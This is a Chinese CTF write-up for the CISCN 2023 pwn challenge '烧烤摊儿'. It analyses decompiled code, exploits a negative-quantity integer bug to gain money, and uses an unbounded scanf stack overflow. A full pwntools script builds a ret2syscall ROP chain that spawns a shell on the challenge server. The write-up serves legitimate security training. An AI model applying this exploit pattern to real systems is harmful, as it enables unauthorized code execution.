Featured image of post Nssctf Pwn [CISCN 2023 初赛]烧烤摊儿 wp

Nssctf Pwn [CISCN 2023 初赛]烧烤摊儿 wp

字数: 1054

题面

给了一个二进制文件。

分析

file 查看是静态链接

静态链接因为程序代码量大,会有更多 gadget。

分析程序发现是一个管理系统:

1
2
3
4
5
6
7
欢迎来到大金烧烤摊儿,来点啥?
1. 啤酒
2. 烤串
3. 钱包余额
4. 承包摊位
5. 离开
>

ida 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // edx
  int v4; // ecx
  int v5; // r8d
  int v6; // r9d

  welcome(argc, argv, envp);
  while ( 1 )
  {
    switch ( (unsigned int)menu() )
    {
      case 1u:
        pijiu();
        break;
      case 2u:
        chuan();
        break;
      case 3u:
        yue();
        break;
      case 4u:
        vip();
        break;
      case 5u:
        if ( own )
          gaiming();
        break;
      default:
        printf((unsigned int)&unk_4B7008, (_DWORD)argv, v3, v4, v5, v6);
        exit(0);
    }
  }
}

查看各个子函数:

pijiu 和 chuan

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
__int64 pijiu()
{
  int v0; // edx
  int v1; // ecx
  int v2; // r8d
  int v3; // r9d
  int v4; // edx
  int v5; // ecx
  int v6; // r8d
  int v7; // r9d
  int v9; // [rsp+8h] [rbp-8h] BYREF
  int v10; // [rsp+Ch] [rbp-4h] BYREF

  v10 = 1;
  v9 = 1;
  puts(&unk_4B70B6);
  puts(&unk_4B70C6);
  puts(&unk_4B70D2);
  _isoc99_scanf((unsigned int)&unk_4B70B3, (unsigned int)&v10, v0, v1, v2, v3);
  puts(&unk_4B70E2);
  _isoc99_scanf((unsigned int)&unk_4B70B3, (unsigned int)&v9, v4, v5, v6, v7);
  if ( 10 * v9 >= money )
    puts(&unk_4B70EF);
  else
    money += -10 * v9;
  puts(&unk_4B7105);
  return 0;
}

__int64 chuan()
{
  int v0; // edx
  int v1; // ecx
  int v2; // r8d
  int v3; // r9d
  int v4; // edx
  int v5; // ecx
  int v6; // r8d
  int v7; // r9d
  int v9; // [rsp+8h] [rbp-8h] BYREF
  int v10; // [rsp+Ch] [rbp-4h] BYREF

  v10 = 1;
  v9 = 1;
  puts(&unk_4B7115);
  puts(&unk_4B7122);
  puts(&unk_4B712F);
  _isoc99_scanf((unsigned int)&unk_4B70B3, (unsigned int)&v10, v0, v1, v2, v3);
  puts(&unk_4B713C);
  _isoc99_scanf((unsigned int)&unk_4B70B3, (unsigned int)&v9, v4, v5, v6, v7);
  if ( 5 * v9 >= money )
    puts(&unk_4B70EF);
  else
    money -= 5 * v9;
  return 0;
}

两者代码差不多,差别就在价格上。这边 v9 是个 int 类型,其中这里扣钱没有做负数检测,如果用负数可以增加金额。

yue() 钱包余额

1
2
3
4
5
__int64 __fastcall yue(__int64 a1, __int64 a2, int a3, int a4, int a5, int a6)
{
  printf((unsigned int)&unk_4B7150, money, a3, a4, a5, a6);
  return 0;
}

输出钱包余额。

vip 承包摊位

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
__int64 vip()
{
  puts(&unk_4B7180);
  if ( money <= 100000 )
  {
    puts(&unk_4B71A9);
  }
  else
  {
    money -= 100000;
    own = 1;
    puts(&unk_4B71A2);
  }
  return 0;
}

需要大量的钱,然后将 own 置一。

gaiming 改名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
__int64 gaiming()
{
  int v0; // edx
  int v1; // ecx
  int v2; // r8d
  int v3; // r9d
  _BYTE v5[32]; // [rsp+0h] [rbp-20h] BYREF

  puts(&unk_4B71C0);
  _isoc99_scanf((unsigned int)&unk_4B71EB, (unsigned int)v5, v0, v1, v2, v3);
  j_strcpy_ifunc(&name, v5);
  return 0;
}

改名函数,这里 scanf 可以无限写入数据,而且没有 canary。可以做栈溢出。
这里把名字复制到 name ,name 是 data 段数据,地址固定。

利用

利用前面的负数漏洞可以得到大量的钱,直接承包店铺:

1
2
3
4
5
io.recvuntil(b">")
io.sendline(b"1")
io.sendline(b"1")
io.sendline(b"-10000000")
io.sendline(b"4")

之后通过改名栈溢出: 本题没有 system 函数,但是 rop 链多,可以用 ret2syscall。

通过构建 execve("/bin/sh", 0, 0); 就可以拿到 shell。
通过 ROPgadget 获得需要的 ROP 最后得到:

1
2
3
4
5
6
pop_rax_ret_addr = 0x458827
pop_rdi_ret_addr = 0x40264F
pop_rsi_ret_addr = 0x40A67E
pop_rdi_rbx_ret_addr = 0x4A404B
syscall_addr = 0x402404
name_addr = 0x4E60F0

/bin/sh 写在 name 上就好了。跟着栈溢出一起。
得到 payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
shell = b"/bin/sh\x00"
payload = (
    shell
    + b"a" * (0x20 + 0x8 - len(shell))
    + p64(pop_rax_ret_addr)
    + p64(59)
    + p64(pop_rdi_ret_addr)
    + p64(name_addr)
    + p64(pop_rsi_ret_addr)
    + p64(0)
    + p64(pop_rdi_rbx_ret_addr)
    + p64(0)
    + p64(0)
    + p64(syscall_addr)
)
io.sendline(payload)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

# io = process("./shaokao")

io = remote("node4.anna.nssctf.cn", 29482)

pop_rax_ret_addr = 0x458827
pop_rdi_ret_addr = 0x40264F
pop_rsi_ret_addr = 0x40A67E
pop_rdi_rbx_ret_addr = 0x4A404B
syscall_addr = 0x402404
name_addr = 0x4E60F0

io.recvuntil(b">")
io.sendline(b"1")
io.sendline(b"1")
io.sendline(b"-10000000")
io.sendline(b"4")
io.sendline(b"5")

shell = b"/bin/sh\x00"
payload = (
    shell
    + b"a" * (0x20 + 0x8 - len(shell))
    + p64(pop_rax_ret_addr)
    + p64(59)
    + p64(pop_rdi_ret_addr)
    + p64(name_addr)
    + p64(pop_rsi_ret_addr)
    + p64(0)
    + p64(pop_rdi_rbx_ret_addr)
    + p64(0)
    + p64(0)
    + p64(syscall_addr)
)
io.sendline(payload)
io.interactive()